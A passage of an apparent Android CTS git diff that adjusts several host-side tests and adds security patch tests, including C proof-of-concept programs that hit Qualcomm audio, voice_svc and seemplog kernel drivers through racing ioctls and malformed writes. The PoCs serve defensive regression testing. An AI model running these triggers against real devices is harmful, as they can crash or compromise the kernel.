         // Previous call will only disable the pretend-screen-off. Since we are interested in
         // checking the uid times while the screen is on, turn it on for real.
@@ -459,6 +559,11 @@
     }
 
     public void testUidCpuFreqTimesDataWithOnlyScreenOff() throws Exception {
+        if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+            LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+                    getClass().getName(), getName());
+            return;
+        }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
         final int uid = getUid();
@@ -491,27 +596,6 @@
         batteryOffScreenOn();
     }
 
-    /**
-     * Tests the total bytes reported for uploading over wifi.
-     */
-    public void testWifiUpload() throws Exception {
-        if (isTV()) {
-            return;
-        }
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-
-        executeForeground(ACTION_WIFI_UPLOAD, 60_000);
-        int min = MIN_HTTP_HEADER_BYTES + (2 * 1024);
-        int max = min + (6 * 1024); // Add some fuzzing.
-        assertValueRange("nt", "", 7, min, max); // wifi_bytes_tx
-
-        executeBackground(ACTION_WIFI_UPLOAD, 60_000);
-        assertValueRange("nt", "", 21, min * 2, max * 2); // wifi_bytes_bg_tx
-
-        batteryOffScreenOn();
-    }
-
     private int getUid() throws Exception {
         String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
                 + DEVICE_SIDE_TEST_PACKAGE);
@@ -725,13 +809,20 @@
 
     /** Determine if device is just a TV and is not expected to have proper batterystats. */
     private boolean isTV() throws Exception {
-        // Less noisy version of getDevice().hasFeature("android.software.leanback_only")
-        String tvFeature = "android.software.leanback_only";
+        return hasFeature(FEATURE_LEANBACK_ONLY, false);
+    }
+
+    /**
+     * Determines if the device has the given feature.
+     * Prints a warning if its value differs from requiredAnswer.
+     */
+    private boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
         final String features = getDevice().executeShellCommand("pm list features");
-        if (features.contains(tvFeature)) {
-            LogUtil.CLog.w("Device has feature " + tvFeature);
-            return true;
+        boolean hasIt = features.contains(featureName);
+        if (hasIt != requiredAnswer) {
+            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+                    + featureName);
         }
-        return false;
+        return hasIt;
     }
 }
diff --git a/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java b/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java
index e9f5f24..9f907ae 100644
--- a/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java
+++ b/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java
@@ -26,6 +26,11 @@
 
 public class CpuFreqDataHelper {
 
+    static boolean doesProcFileExists(ITestDevice device) throws Exception {
+        final String output = device.executeShellCommand("ls /proc/uid_time_in_state");
+        return output != null && !output.contains("No such file or directory");
+    }
+
     static long[] getCpuFreqFromProcFile(ITestDevice device) throws Exception {
         final String output = getProcFileContents(device);
         final String line = output.substring(0, output.indexOf('\n'));
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
index e1ec3c7..9e93a54 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
@@ -54,11 +54,11 @@
         final Matcher matcher =
                 execCommandAndFind(
                         "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE,
-                        "userId=(\\d+).*versionCode=(\\d+).*versionName=(\\w+)",
+                        "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)",
                         Pattern.DOTALL);
         final int uid = Integer.parseInt(matcher.group(1));
         final int versionCode = Integer.parseInt(matcher.group(2));
-        final String versionString = matcher.group(3);
+        final String versionString = matcher.group(3).trim();
 
         final PackageServiceDumpProto dump =
                 getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index f994169..c5342ba 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -782,7 +782,7 @@
     }
 
     protected void assertAppIdle(boolean enabled) throws Exception {
-        assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 10, 2, "Idle=" + enabled);
+        assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
     }
 
     /**
@@ -848,6 +848,8 @@
             return;
         } else if (type == TYPE_COMPONENT_ACTIVTIY) {
             turnScreenOn();
+            // Wait for screen-on state to propagate through the system.
+            SystemClock.sleep(2000);
             final CountDownLatch latch = new CountDownLatch(1);
             final Intent launchIntent = getIntentForComponent(type);
             final Bundle extras = new Bundle();
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index deb4f44..41775b3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -45,6 +45,15 @@
         <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
         <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
 	<option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
+	<option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
+	<option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
+	<option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
+	<option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
+	<option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+	<option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+	<option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+	<option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
+	<option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
new file mode 100644
index 0000000..5178058
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33452365
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/poc.c b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
new file mode 100644
index 0000000..e6755a9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+
+#define THREAD_NUM	600
+#define DEV "/dev/snd/pcmC0D16c"
+
+typedef _Bool bool;
+
+enum lsm_app_id {
+    LSM_VOICE_WAKEUP_APP_ID = 1,
+    LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
+};
+
+enum lsm_detection_mode {
+    LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
+    LSM_MODE_USER_KEYWORD_DETECTION
+};
+
+enum lsm_vw_status {
+    LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
+    LSM_VOICE_WAKEUP_STATUS_DETECTED,
+    LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
+    LSM_VOICE_WAKEUP_STATUS_REJECTED
+};
+
+enum LSM_PARAM_TYPE {
+    LSM_ENDPOINT_DETECT_THRESHOLD = 0,
+    LSM_OPERATION_MODE,
+    LSM_GAIN,
+    LSM_MIN_CONFIDENCE_LEVELS,
+    LSM_REG_SND_MODEL,
+    LSM_DEREG_SND_MODEL,
+    LSM_CUSTOM_PARAMS,
+    LSM_PARAMS_MAX,
+};
+
+struct snd_lsm_ep_det_thres {
+    __u32 epd_begin;
+    __u32 epd_end;
+};
+
+struct snd_lsm_detect_mode {
+    enum lsm_detection_mode mode;
+    bool detect_failure;
+};
+
+struct snd_lsm_gain {
+    __u16 gain;
+};
+
+struct snd_lsm_sound_model_v2 {
+    __u8 __user *data;
+    __u8 *confidence_level;
+    __u32 data_size;
+    enum lsm_detection_mode detection_mode;
+    __u8 num_confidence_levels;
+    bool detect_failure;
+};
+
+struct snd_lsm_session_data {
+    enum lsm_app_id app_id;
+};
+
+struct snd_lsm_event_status {
+    __u16 status;
+    __u16 payload_size;
+    __u8 payload[0];
+};
+
+struct snd_lsm_detection_params {
+    __u8 *conf_level;
+    enum lsm_detection_mode detect_mode;
+    __u8 num_confidence_levels;
+    bool detect_failure;
+};
+
+struct lsm_params_info {
+    __u32 module_id;
+    __u32 param_id;
+    __u32 param_size;
+    __u8 __user *param_data;
+    enum LSM_PARAM_TYPE param_type;
+};
+
+struct snd_lsm_module_params {
+    __u8 __user *params;
+    __u32 num_params;
+    __u32 data_size;
+};
+
+struct snd_lsm_output_format_cfg {
+    __u8 format;
+    __u8 packing;
+    __u8 events;
+    __u8 mode;
+};
+
+#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
+#define SNDRV_LSM_EVENT_STATUS  _IOW('U', 0x02, struct snd_lsm_event_status)
+#define SNDRV_LSM_ABORT_EVENT   _IOW('U', 0x03, int)
+#define SNDRV_LSM_START     _IOW('U', 0x04, int)
+#define SNDRV_LSM_STOP      _IOW('U', 0x05, int)
+#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
+#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
+                    struct snd_lsm_sound_model_v2)
+#define SNDRV_LSM_LAB_CONTROL   _IOW('U', 0x08, uint32_t)
+#define SNDRV_LSM_STOP_LAB  _IO('U', 0x09)
+#define SNDRV_LSM_SET_PARAMS    _IOW('U', 0x0A, \
+                    struct snd_lsm_detection_params)
+#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
+                    struct snd_lsm_module_params)
+
+int fd;
+pthread_t thread_id[THREAD_NUM+1] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int attack = 0;
+
+struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
+unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
+unsigned char confidence_level_1[4] = "123";
+unsigned char confidence_level_2[20] = "12345678";
+
+static int set_affinity(int num)
+{
+    int ret = 0;
+    cpu_set_t mask;
+    CPU_ZERO(&mask);
+    CPU_SET(num, &mask);
+    ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+
+    return ret;
+}
+
+void* child_ioctl_0()
+{
+    set_affinity(1);
+    snd_model_v2_1.data = snd_data;
+    snd_model_v2_1.data_size = sizeof(snd_data);
+    snd_model_v2_1.confidence_level = confidence_level_1;
+    snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
+    snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+    snd_model_v2_1.detect_failure = 1;
+
+    while(1){
+	ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
+    }
+}
+
+void* child_ioctl_1()
+{
+    set_affinity(2);
+    snd_model_v2_2.data = snd_data;
+    snd_model_v2_2.data_size = sizeof(snd_data);
+    snd_model_v2_2.confidence_level = confidence_level_2;
+    snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
+    snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+    snd_model_v2_2.detect_failure = 1;
+
+    snd_params.num_confidence_levels = 20;
+    snd_params.conf_level = confidence_level_2;
+    snd_params.detect_failure = 1;
+    snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+
+    while(1){
+	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+	ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
+    }
+}
+
+int main()
+{
+    int i, ret;
+
+    set_affinity(0);
+
+    fd = open(DEV,O_RDWR);
+    if(fd == -1){
+	return -1;
+    }
+
+    ret = ioctl(fd, SNDRV_LSM_START, 0);
+    if(ret)
+	return -1;
+
+    for(i = 0; i < 300; i = i + 2){
+	thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+	thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
+    }
+
+    i = 0;
+    attack = 1;
+    while(100){
+	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+    }
+    attack = 0;
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
new file mode 100644
index 0000000..3ba801e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10231
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
new file mode 100644
index 0000000..b6b82d7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define SNDRV_CTL_IOCTL_ELEM_WRITE	_IOWR('U', 0x13, struct snd_ctl_elem_value)
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_aes_iec958 {
+    unsigned char status[24];
+    unsigned char subcode[147];
+    unsigned char pad;
+    unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_id {
+    unsigned int numid;
+    snd_ctl_elem_iface_t iface;
+    unsigned int device;
+    unsigned int subdevice;
+    unsigned char name[44];
+    unsigned int index;
+};
+
+struct snd_ctl_elem_value {
+    struct snd_ctl_elem_id id;
+    unsigned int indirect: 1;
+    union {
+	union {
+	    long value[128];
+	    long *value_ptr;
+	} integer;
+	union {
+	    long long value[64];
+	    long long *value_ptr;
+	} integer64;
+	union {
+	    unsigned int item[128];
+	    unsigned int *item_ptr;
+	} enumerated;
+	union {
+	    unsigned char data[512];
+	    unsigned char *data_ptr;
+	} bytes;
+	struct snd_aes_iec958 iec958;
+    } value;
+    struct timespec tstamp;
+    unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+    struct snd_ctl_elem_value val;
+    memset(&val, 0xff, sizeof(val));
+    val.id.numid = 0x80;
+    val.id.iface = 0x1;
+    val.id.device = 0x400;
+    val.id.subdevice = 0x7;
+    memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
+    val.id.index = 4;
+    val.value.integer.value[0] = 0x30;
+    int fd = open("/dev/snd/controlC0", O_RDWR);
+    ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
new file mode 100644
index 0000000..6e52fa7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0451
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact                                                                            \
+ 
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
new file mode 100644
index 0000000..88b7378
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#define MSG_REQUEST  0x2
+
+struct voice_svc_write_msg {
+    __u32 msg_type;
+    __u8 payload[0];
+};
+
+int main() {
+    int g_fd = 0;
+    char* dev_path = "/dev/voice_svc";
+
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        return -1;
+    }
+
+    int size = sizeof(struct voice_svc_write_msg) + 4;
+    char* msg = (char*)malloc(size);
+
+    (msg + 4)[0] = 'A';
+    (msg + 4)[1] = 'A';
+    (msg + 4)[2] = 'A';
+    (msg + 4)[3] = 'A';
+    ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
+
+    int i;
+    for (i = 0; i < 20; ++i) {
+        write(g_fd, msg, size);
+        sleep(1);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
new file mode 100644
index 0000000..46c773d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0462
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
new file mode 100644
index 0000000..5cf6a49
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define DEVICE "/dev/seemplog"
+#define SZ_1M   0x100000
+#define FOUR_MB (4 * SZ_1M)
+
+#define BLK_SIZE       256
+#define BLK_HDR_SIZE   64
+#define TS_SIZE        20
+#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
+
+#define TASK_COMM_LEN 16
+
+#define MAGIC 'z'
+
+#define SEEMP_CMD_RESERVE_RDBLKS     _IOR(MAGIC, 1, int)
+#define SEEMP_CMD_RELEASE_RDBLKS     _IO(MAGIC, 2)
+#define SEEMP_CMD_GET_RINGSZ     _IOR(MAGIC, 3, int)
+#define SEEMP_CMD_GET_BLKSZ     _IOR(MAGIC, 4, int)
+#define SEEMP_CMD_SET_MASK          _IO(MAGIC, 5)
+#define SEEMP_CMD_SET_MAPPING       _IO(MAGIC, 6)
+#define SEEMP_CMD_CHECK_FILTER      _IOR(MAGIC, 7, int)
+#define SEEMP_CMD_DEBUG_START           _IOR(MAGIC, 8, int)
+#define SEEMP_CMD_DEBUG_STOP           _IOR(MAGIC, 9, int)
+
+struct read_range {
+    int start_idx;
+    int num;
+};
+
+struct blk_payload {
+    uint32_t api_id;
+    char  msg[BLK_MAX_MSG_SZ];
+} __attribute__((packed));
+
+struct seemp_logk_blk {
+    uint8_t  status;
+    uint16_t len;
+    uint8_t  version;
+    int32_t pid;
+    int32_t uid;
+    int32_t tid;
+    int32_t sec;
+    int32_t nsec;
+    char ts[TS_SIZE];
+    char appname[TASK_COMM_LEN];
+    struct blk_payload payload;
+} __attribute__((packed));
+
+void dump_blk_headers(char *ptr) {
+    int i;
+    struct seemp_logk_blk *temp;
+
+    for (i = 0; i < (FOUR_MB / 256); i++) {
+	temp = (struct seemp_logk_blk *)ptr;
+
+	ptr += 256;
+    }
+}
+
+void print_maps(int time) {
+    char cmd[] = "/proc/%d/maps";
+    char cmd2[sizeof("/proc/-2147483648/maps")];
+    FILE *fp;
+    size_t nread;
+    char buf[1024];
+
+    snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
+
+    fp = fopen(cmd2, "r");
+    if (fp == NULL) {
+	exit(-1);
+    }
+
+    while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
+	fwrite(buf, 1, nread, stdout);
+
+    fclose(fp);
+    sleep(time);
+}
+
+void reserve_rdblks(int fd) {
+    struct read_range rrange;
+    ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
+}
+
+unsigned int get_ringsz(int fd) {
+    unsigned int ringsz;
+    ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
+    return ringsz;
+}
+
+unsigned int get_blksz(int fd) {
+    unsigned int blksz;
+    ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
+    return blksz;
+}
+
+void write_to_file(char *ptr) {
+    FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
+    int i;
+
+    if (dumpfp == NULL) {
+	exit(-1);
+    }
+
+    fwrite(ptr, 1, FOUR_MB, dumpfp);
+    fclose(dumpfp);
+}
+
+void write_to_dev(int fd) {
+    char ts[] = "IIIIIIIIIIIIIIIIIIII";
+    char appname[] = "JJJJJJJJJJJJJJJJ";
